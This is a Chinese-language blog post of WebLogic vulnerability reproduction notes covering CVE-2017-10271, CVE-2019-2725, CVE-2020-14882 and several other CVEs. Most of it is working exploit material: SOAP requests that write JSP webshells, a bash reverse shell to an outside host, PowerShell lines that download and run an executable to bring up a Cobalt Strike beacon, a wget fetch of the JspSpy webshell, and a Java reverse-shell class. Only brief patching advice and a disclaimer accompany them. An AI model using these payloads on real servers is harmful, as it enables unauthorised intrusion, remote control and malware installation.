Weblogic中间件漏洞复现笔记 – 作者:MISUagain

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

Weblogic渗透总结

默认端口:

7001

1、XMLDecoder反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)

漏洞简介:

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞。

验证漏洞:

访问 /wls-wsat/CoordinatorPortType
image-20210511143711319.png只要在wls-wsat包中的Uri都受影响,可以在web.xml中查看所有受影响的Uri

C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat\54p17w\war\WEB-INF\web.xml

默认受到影响的Uri:

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

复现:

构造数据包发送,其中Content-Type需要等于 text/xml,否则可能导致XMLDecoder不解析。

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.253.94:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 642

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
 <soapenv:Header>
 <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
 <java><java version="1.4.0" class="java.beans.XMLDecoder">
 <object class="java.io.PrintWriter"> 
 <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
 <void method="println">
<string>
 <![CDATA[
<% out.print("hello"); %>
 ]]>
 </string>
 </void>
 <void method="close"/>
 </object></java></java>
 </work:WorkContext>
 </soapenv:Header>
 <soapenv:Body/>
</soapenv:Envelope>

image-20210511145540505.png状态码返回500,成功写入文件。
image-20210511150114141.png验证webshell

使用Linux反弹shell:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

windows上线CS:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.109.159:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 709

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>powershell</string>
 </void>
 <void index="1">
 <string>-Command</string>
 </void>
 <void index="2">
 <string>(new-object System.Net.WebClient).DownloadFile('http://192.168.109.9/test.exe','test.exe');start-process test.exe</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

kali开启一个HTTP服务
image-20210511202630298.pngimage-20210511202806419.png
image-20210511203227772.png成功上线CS

上线powershell-windows的代码:

powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.109.9/test.exe','test.exe');start-process test.exe

CVE-2017-3506分析利用

漏洞简介:

CVE-2017-3506的补丁添加了验证函数,验证Payload中的节点是否存在object标签。将object换成void就可以绕过此补丁,产生了CVE-2017-10271

复现操作:

构造新的数据包发送。

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
 <soapenv:Header>
 <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
 <java>
 <object class="java.io.PrintWriter">
 <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/testt.jsp</string>
 <void method="println">
 <string>
 <![CDATA[
 <% out.print("test hello"); %>
 ]]>
 </string>
 </void>
 <void method="close"/>
 </object>
 </java>
 </work:WorkContext>
 </soapenv:Header>
 <soapenv:Body/>
</soapenv:Envelope>

image-20210511205454758.pngimage-20210511213508336.png

http://192.168.109.159:7001/bea_wls_internal/testt.jsp

成功上传文件。

wls-wsat反序列化远程代码执行漏洞(CVE-2019-2725)

漏洞介绍:

此漏洞实际上是CVE-2017-10271的又一入口,CVE-2017-3506的补丁过滤了object;CVE-2017-10271的补丁过滤了new,method标签,且void后面只能跟index,array后面只能跟byte类型的class;CVE-2019-2725的补丁过滤了class,限制了array标签中的byte长度。

影响组件:

bea_wls9_async_response.war、wls-wsat.war

影响范围:

10.3.6.0、12.1.3.0

验证漏洞:

访问 /_async/AsyncResponseService,返回200即存在,返回404则不存在:
image-20210511181257113.png只要在bea_wls9_async_response包中的Uri都受影响,可以在web.xml中查看所有受影响的Uri,路径如下:

C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\WEB-INF\web.xml

默认受到影响的Uri如下:

/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps

复现操作:

抓包并修改数据包如下:

POST /_async/AsyncResponseService HTTP/1.1
Host:192.168.109.159:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 852
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
cmd:whoami

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://192.168.109.133/JspSpy.jsp.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/dayutt.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

windows上线CS

源码利用POC如下:

POST /_async/AsyncResponseService HTTP/1.1
Host:192.168.109.159:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 852
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
cmd:whoami

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>powershell</string>
 </void>
 <void index="1">
 <string>-Command</string>
 </void>
 <void index="2">
 <string>(new-object System.Net.WebClient).DownloadFile('http://192.168.109.9/test1.exe','test1.exe');start-process test1.exe 
<string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

WLS Core Components反序列化命令执行漏洞(CVE-2018-2628)

漏洞成因:

通过T3协议触发。

影响范围:

10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3

验证漏洞:

使用CVE-2018-2628-poc-验证漏洞,需要python2环境,返回下图说明存在此漏洞。

image-20210512142743885.png复现操作:
image-20210512143031046.pngimage-20210512143202864.png成功上传wlscmd.jsp文件
image-20210512145352746.png

http://ip:port/bea_wls_internal/wlscmd.jsp

成功交互控制。

安全建议:

过滤T3协议,连接筛选器选择

weblogic.security.net.ConnectionFilterImpl

image-20210512145556787.png保存后重启即可。

任意文件上传漏洞(CVE-2018-2894)

漏洞简介:

Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page在“生产模式”下默认不开启,所以该漏洞存在限制。

影响范围:

10.3.6、12.1.3、12.2.1.2、12.2.1.3

复现环境:

12版本,前面以及现在的默认安装是“开发模式”,“生产模式”下没有这两处上传点。

复现操作:

/ws_utc/begin.do
/ws_utc/config.do

访问 /ws_utc/config.do,设置Work Home Dir为ws_utc应用的静态文件css目录

C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3\cmprq0\war\css

image-20210512154219965.pngimage-20210512153527323.png
提交时抓包,找到时间戳
image-20210512154953784.png然后访问如下路径,即可执行webshell

http://127.0.0.1:7001/ws_utc/css/config/keystore/时间戳_文件名

image-20210512155645683.png成功上传。

修复建议:

1.启动生产模式后Config.do页面登录授权后访问。

2.升级到最新版本。

3.IPS等防御产品加入相应的特征。

Weblogic SSRF漏洞(CVE-2014-4210)

影响范围:

10.0.2.0、10.3.6.0

验证漏洞:

访问 /uddiexplorer/SearchPublicRegistries.jsp,能正常访问,则可能存在此漏洞。

image-20210512220552978.png复现环境:

vulhub

复现操作:

点击Search并抓包,将POST请求改成GET。
image-20210512221145233.png参数operator为SSRF的可控参数,所以此处存在SSRF漏洞。将其更改为开放的端口,如修改为127.0.0.1:7001,将返回error

(1)不存在的端口
image-20210512223708335.png(2)主机存活且端口存在
image-20210512224200834.png

An error has occurred<br>

weblogic.uddi.client.structures.exception.XML_SoapException: Tried all: &#39;1&#39; addresses, but could not connect over HTTP to server: &#39;127.0.0.1&#39;, port: &#39;8080&#39;

(3)可访问的端口(且该端口是非http协议)
image-20210512223308164.png

Weblogic弱口令&后台getshell

进入后台后上传部署war包
image-20210512230538352.png

Weblogic Console HTTP协议远程代码执行漏洞(CVE-2020-14882/3)

漏洞简介:

Oracle Weblogic Server远程代码执行漏洞,未经身份验证的远程攻击者可通过构造特殊的HTTP GET请求,结合CVE-2020-14883漏洞进行利用,直接接管Weblogic Server Console,并执行代码。

影响范围:

10.3.6.0、12.1.3.0、12.2.1.3、12.2.1.4、14.1.1.0

复现环境:

10.3.6.0

复现操作:

POC:

http://192.168.109.159:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.be
a.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

image-20210512231209435.png

CVE-2020-14882代码执行漏洞

POC:

http://192.168.109.159:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.
mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/test%27);%22);

执行POC后,页面会显示404,但是执行成功。
image-20210512231633256.pngwindows弹框poc上线CS

http://192.168.109.159:7001/console/css/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.s
pringframework.context.support.FileSystemXmlApplicationContext("http://192.168.109.9:8001/poc-calc.xml")

poc-calc.xml:

powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.109.9:8001/test.exe','test.exe');start-process test.exe

image-20210512234236290.pngimage-20210512234149040.png
image-20210512234124485.png成功上线CS。

IIOP反序列化漏洞(CVE-2020-2551)

影响范围:

Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0

复现操作:

需要利用以下四个文件:
image-20210513134954806.png
(1)编译exp.java
image-20210513011617439.png

javac exp.java -source 1.6 -target 1.6

(2)开启一个web服务
image-20210513135353312.png

python -m SimpleHTTPServer 80

(3)marshalsec开启一个恶意的RMI服务
image-20210513134423117.png

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.109.9/#exp" 1099

(4)漏洞利用
image-20210513134859177.png

java -jar weblogic_CVE_2020_2551.jar 192.168.253.94 7001 rmi://192.168.109.9:1099/exp

image-20210513134914433.png
成功弹框!

修改exp的java代码即可完成上线CS。

import java.io.IOException;

public class Poc {
 static{
  try {
   java.lang.Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/x.x.x.x/port 0>&1"});
  } catch (IOException e) {
   // TODO Auto-generated catch block
   e.printStackTrace();
  }
 }
 public static void main(String[] args) {
  
 }
}

修复建议:

1. 修改默认端口号,假设修改为8080,在config.xml中添加
   <listen-port>8080</listen-port>
2. 更新补丁。
3. 用户可通过控制T3协议的访问来临时阻断该漏洞的攻击。(需相关人员评估风险)。
```~~~~

来源:freebuf.com 2021-06-17 12:02:36 by: MISUagain

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